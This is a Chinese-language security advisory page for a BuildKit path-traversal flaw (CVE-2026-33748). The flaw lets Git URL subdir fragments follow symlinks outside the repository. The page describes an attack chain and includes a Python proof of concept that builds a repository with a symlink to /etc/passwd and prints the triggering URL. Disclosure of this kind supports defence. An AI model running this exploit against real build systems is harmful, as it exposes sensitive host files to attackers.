IPBUF安全漏洞报告
English
CVE-2026-33748 CVSS 7.5 高危

CVE-2026-33748 BuildKit 路径遍历漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33748
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BuildKit

相关标签

路径遍历信息泄露BuildKitDocker符号链接CVE-2026-33748

漏洞概述

BuildKit是一个用于将源代码转换为构建工件的工具包。在0.28.1版本之前,该工具对Git URL片段中的subdir组件验证不足,可能导致访问检出Git仓库根目录之外的文件。攻击者利用该漏洞可读取同一挂载文件系统上的敏感文件。该问题仅影响使用带有子路径组件的Git URL的构建。

技术细节

该漏洞源于BuildKit在解析Git URL片段(#subdir)时,未对目标路径进行严格的边界检查。当构建上下文指向一个包含符号链接的Git仓库时,若subdir参数指向该符号链接,BuildKit会解析链接并访问仓库外的文件。由于构建过程通常在拥有一定权限的环境中运行,且可能挂载了宿主机目录,攻击者可通过诱导受害者构建包含恶意Git URL的Dockerfile,利用符号链接绕过仓库根目录限制,从而读取宿主机或其他容器中的敏感配置文件。

攻击链分析

STEP 1
1. 制作恶意仓库
攻击者创建一个Git仓库,其中包含一个目录,目录内放置指向仓库外部敏感路径(如/etc/passwd)的符号链接。
STEP 2
2. 诱导构建
攻击者诱导开发者或CI/CD系统使用特定的Git URL构建Docker镜像,URL中包含#subdir参数指向该符号链接。
STEP 3
3. 路径解析
BuildKit拉取代码并处理URL片段,由于缺乏验证,它跟随符号链接读取了仓库根目录之外的文件。
STEP 4
4. 信息泄露
被读取的敏感文件内容被包含在构建上下文或日志中,导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-33748 (BuildKit Path Traversal) Demonstrates the creation of a malicious Git repository to exploit the subdir validation issue. """ import os import subprocess def create_exploit_repo(): repo_name = "malicious_git_repo" if os.path.exists(repo_name): os.system(f"rm -rf {repo_name}") os.makedirs(repo_name) os.chdir(repo_name) # Initialize git repo subprocess.run(["git", "init"]) subprocess.run(["git", "config", "user.email", "[email protected]"]) subprocess.run(["git", "config", "user.name", "Attacker"]) # Create a safe directory and place a symlink inside it os.makedirs("subdir_component", exist_ok=True) # Create a symlink pointing to a sensitive file outside the repo (e.g. /etc/passwd) target_path = "/etc/passwd" try: os.symlink(target_path, "subdir_component/secret_file") print(f"[+] Created symlink: subdir_component/secret_link -> {target_path}") except OSError as e: print(f"[-] Error creating symlink: {e}") return # Commit the structure subprocess.run(["git", "add", "."]) subprocess.run(["git", "commit", "-m", "PoC for CVE-2026-33748"]) print(f"[+] Exploit repository created in './{repo_name}'") print("[+] To trigger the vulnerability in BuildKit, use a URL like:") print(f" git://github.com/attacker/{repo_name}.git#subdir=subdir_component/secret_file") if __name__ == "__main__": create_exploit_repo()

影响范围

BuildKit < 0.28.1

防御指南

临时缓解措施
避免从不受信任的来源构建Dockerfile,或者不要在构建上下文中使用不受信任Git仓库的subdir组件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表